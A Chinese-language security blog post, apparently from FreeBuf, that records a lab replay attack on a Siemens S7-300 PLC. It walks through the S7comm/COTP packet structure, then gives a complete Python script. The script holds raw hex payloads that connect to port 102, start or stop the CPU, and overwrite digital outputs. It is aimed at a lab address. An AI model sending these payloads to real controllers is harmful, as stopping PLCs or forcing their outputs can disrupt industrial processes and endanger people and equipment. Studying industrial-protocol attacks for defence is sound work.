最近手头有个S7-300,根据之前多位大神S7协议相关的分析,决定自己动手实操一下,通过payload重放实现对PLC的启停及DO数据的读写,实验过程记录下来跟大家分享一下,欢迎各位大神来交流。
PC1:
操作系统:win7 32位
相关软件:step7 v5.5 sp4 / wireshark_win32_2.2.1.0/snap7-1.4.2.7
PC2:
操作系统:win10 64位
相关软件:python2.7
PLC:
S7-300:
CPU:313C
固件版本:V3.3
其中,PC1主要用来对plc进行硬件组态和程序下载、执行操作命令(plc启停,数据的读写),并对通信过程进行抓包。PC2用来对plc进行重放攻击。
由于这个S7-300闲置多年,ip已经不知道了,手上也没有MPI线,好在有以太网模块,通过MAC地址连上plc,分享下方法:
以太网模块上有接口的mac地址,接上网线连接PC1,
打开step7,菜单栏选项->设置PG/PC接口
在访问路径中选择TCP/IP->自己的网卡,确定
回到菜单栏,选择PLC->编辑Ethernet节点
输入我们刚刚获取的mac地址,点击浏览
这样就能找到以太网模块之前的ip地址了。如果这个模块是第一次使用(没有ip地址,IP地址栏为空),同样选择设备并确认
返回后在这里可以设置临时ip地址,设置完后,修改pc地址,保证在同一网段。
下面就是硬件组态了,这里就不赘述了,我这台设备因为之前用过,我就直接从plc上传组态信息及程序了,我们拿到一些需要的信息就可以了
菜单栏选择PLC->将站点上传到PG,
首先选择插槽,S7-300一般为2,点击更新,稍等一会儿会弹出plc的信息,选择后点击确定,到这里,程序上载完成。
查看硬件组态
这样我们就获取了I/O模块的地址。到这里,我们拿到了需要的信息:
IP地址:172.18.15.104
DO地址:124-125
这里我们采用的是snap7对plc进行启停操作和DO输出进行读写,并进行抓包。
Snap7这里就不多做介绍了,一款非常强大的工具,具体介绍请自行百度,我这里直接使用windows的客户端。
S7的协议分析请参照工控安全 | 西门子通信协议S7COMM,非常详细,这里根据我的理解做个简单描述。
S7的通讯大致分为4个过程,分别是:
1.TCP三次握手:这个没什么好说的,大家都懂。
2.COTP握手:COTP部分分为两种:COTP连接包和COTP功能包,COTP握手阶段使用的是COTP连接包,S7数据传输阶段使用的是COTP功能包。
3.S7COMM建联:S7COMM作为COTP的有效载荷,主要包含三部分:Header、Parameter、Data,建联阶段S7COMM只包含Header和Parameter两个字段。
下面通过wireshark截图详细了解下整个过程:
请求报文:
主要由TPKT和COTP组成,TPKT中的Length为 TPKT\COTP\S7三层协议的总长度
COTP中的Length为COTP后续数据长度,一般为17
PDU type:
0×1: ED Expedited Data,加急数据
0×2: EA Expedited Data Acknowledgement,加急数据确认
0×4: UD,用户数据
0×5: RJ Reject,拒绝
0×6: AK Data Acknowledgement,数据确认
0×7: ER TPDU Error,TPDU错误
0×8: DR Disconnect Request,断开请求
0xC: DC Disconnect Confirm,断开确认
0xD: CC Connect Confirm,连接确认
0xE: CR Connect Request,连接请求
0xF: DT Data,数据传输
此处值为0x0e,表示连接请求
响应报文:
注意PDU Type的变化
作业请求:
COTP功能吗为0x0f,对照上表,数据传输
0×32为协议号
ROSCTR,操作类型:
0×01 – JOB(Request: job withacknowledgement):作业请求。由主设备发送的请求(例如,读/写存储器,读/写块,启动/停止设备,设置通信);
0×02 – ACK(acknowledgement without additional field):确认响应,没有数据的简单确认(未遇到过由S7 300/400设备发送得);
0×03 – ACK_DATA(Response: acknowledgementwith additional field):确认数据响应,这个一般都是响应JOB的请求;
0×07 – USERDATA:原始协议的扩展,参数字段包含请求/响应ID(用于编程/调试,读取SZL,安全功能,时间设置,循环读取…)。
此处为01,表示作业请求
Data length:数据长度,读取plc数据请求时,无数据,因此为0
Parameter中记录了功能码,Setup communication [0xF0]表示建立通信的请求
作业应答:
PLC的S7应答响应:Setupcommunication [0xF0]
Header中的ROSCTR变为ACK_DATA,响应请求中的job
COTP的PDU为数据传输(功能包),S7层的header中请求类型为job,plc stop的功能码为0×29
重放即可。
请求报文:
主要有以下几个点:
1.功能码:04读取数据
2.读取的数据类型:82 output(Q)
3.数据地址的计算:0x0003e0
需要注意的一点是,我们DO的数据地址为124,这里的地址编码为0x0003e0,直接计算会发现并不等于124,通过报文可以发现,0x0003e0中包含了位地址,所以需要去除最后三位再计算,也就是1111100,即十进制的124。
应答报文:
应答包相对比较简单,其Parameter只有function、itemcount两个字段,返回00,DO的16位输出都为0。
和read相比,除了parameter,S7多了data部分,因为要写入数值
具体报文,写操作功能码05,item部分不变,指定数据类型及地址,data部分为写入数据信息,此处写入ff,全部为1
上面提到的item,每个item代表了一段地址,比如上图报文中一共有5个item,除了第一个是outputs(Q)地址,后面4个都是DB地址,我们可以根据自己的需求进行修改,比如删除后面的4个item,需要注意的是,删除了报文的其他部分也要做出对应的修改,否则无法重放。这里标出需要修改的关于长度计算的数据段:
重放攻击,首先还是要根据S7通信特征建立连接,然后通过抓到的数据包构造各种行为的payload,通过对协议的分析和理解,还可以根据自己的需求对payload进行一定的修改。
附上我重放的python脚本(参考了isf中的s7_300_400_plc_control.py)
import socket
import time
import sys
arg = int(sys.argv[1])
setup_communication_payload = '0300001902f08032010000020000080000f0000002000201e0'.decode('hex')
cpu_start_payload = "0300002502f0803201000005000014000028000000000000fd000009505f50524f4752414d".decode('hex')
cpu_stop_payload = "0300002102f0803201000047000010000029000000000009505f50524f4752414d".decode('hex')
set_do_var="0300002502f080320100004300000e00060501120a100200020000820003e0000400105555".decode('hex')
class Exploit():
target = '172.18.15.104'
port = 102
slot = 2
command = arg
sock = None
def create_connect(self, slot):
slot_num = chr(slot)
create_connect_payload = '0300001611e00000001400c1020100c20201'.decode('hex') + slot_num + 'c0010a'.decode('hex')
self.sock.send(create_connect_payload)
self.sock.recv(1024)
self.sock.send(setup_communication_payload)
self.sock.recv(1024)
def exploit(self):
self.sock = socket.socket()
self.sock.connect((self.target, self.port))
self.create_connect(self.slot)
if self.command == 1:
print("Start plc")
self.sock.send(cpu_start_payload)
elif self.command == 2:
print("Stop plc")
self.sock.send(cpu_stop_payload)
elif self.command == 3:
print("set DO 0101 01010 1010 1010")
self.sock.send(set_do_var)
else:
print("Command %s didn't support" % self.command)
def run(self):
if self._check_alive():
print("Target is alive")
print("Sending packet to target")
self.exploit()
if not self._check_alive():
print("Target is down")
else:
print("Target is not alive")
def _check_alive(self):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
sock.connect((self.target, self.port))
sock.close()
except Exception:
return False
return True
if __name__ == '__main__':
x=Exploit()
x.run()
运行时命令行需要传入一个指令参数:
1:run plc
2:stop plc
3:set DO 0101 01010 1010 1010
最后是演示图:
演示到这里也就结束了,有兴趣的可以对DO写个跑马灯,S7协议的重放攻击危害还是挺大的。真实场景中直接启停plc以及控制PLC输出是非常危险的,重放攻击能做的还有很多,取决于对S7协议的理解程度,上述内容中描述有误的,还望大神们多多指教。
*本文原创作者:leoyyx,本文属于FreeBuf原创奖励计划,未经许可禁止转载